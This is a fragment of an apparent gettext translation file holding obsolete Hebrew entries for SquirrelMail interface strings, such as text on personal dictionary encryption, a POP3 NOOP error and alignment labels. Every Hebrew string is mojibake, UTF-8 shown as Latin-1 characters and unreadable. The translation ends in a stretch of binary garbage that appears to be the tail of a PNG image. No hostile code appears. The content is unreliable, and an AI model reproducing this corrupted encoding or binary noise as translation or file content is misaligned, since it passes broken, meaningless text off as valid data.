#~ "<p>המילון ×”×ישי שלך × ×ž×¦× ×›×¢×ª <strong>במצב מוצפן</strong>. ×–×” עוזר לשמור "
#~ "על הפרטיות שלך במקרה והמילון נגנב. כרגע ×”×•× ×ž×•×¦×¤×Ÿ בעזרת ×”×¡×™×¡×ž× ×©×œ תיבת "
#~ "הדו×ר שלך, מה שמקשה על מי שרוצה לר×ות ×ת המידע המ×וחסן במילון ×”×ישי שלך.</"
#~ "p> <p><strong>×©×™× ×œ×‘:</strong> ×× ×©×›×—×ª ×ת ×”×¡×™×¡×ž× ×©×œ×š, המילון ×”×ישי יהפך "
#~ "×œ×œ× ×–×ž×™×Ÿ, מכיוון ×©×œ× × ×™×ª×Ÿ לפענח ×ת הקידוד. במקרה ותשנה ×ת סיסמ×ת הדו×ר "
#~ "שלך, SquirrelMail ×™×–×”×” ×–×ת ויבקש ממך להכניס ×ת ×”×¡×™×¡×ž× ×”×™×©× ×” בכדי להצפין "
#~ "×ת המילון בעזרת ×”×¡×™×¡×ž× ×”×—×“×©×”.</p>"

#~ msgid "NOOP failed. Server not RFC 1939 compliant"
#~ msgstr "NOOP נכשל. שרת ×ינו תו×× RFC 1939"

#~ msgid "Left aligned"
#~ msgstr "מוצמד לשמ×ל"

#~ msgid "Right aligned"
#~ msgstr "מוצמד לימין"

#~ msgid "on the Read screen"
#~ msgstr "במסך הקרי××”"

#~ msgid "Hide the box"
#~ msgstr "הסתר ×ת הקופס×"
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚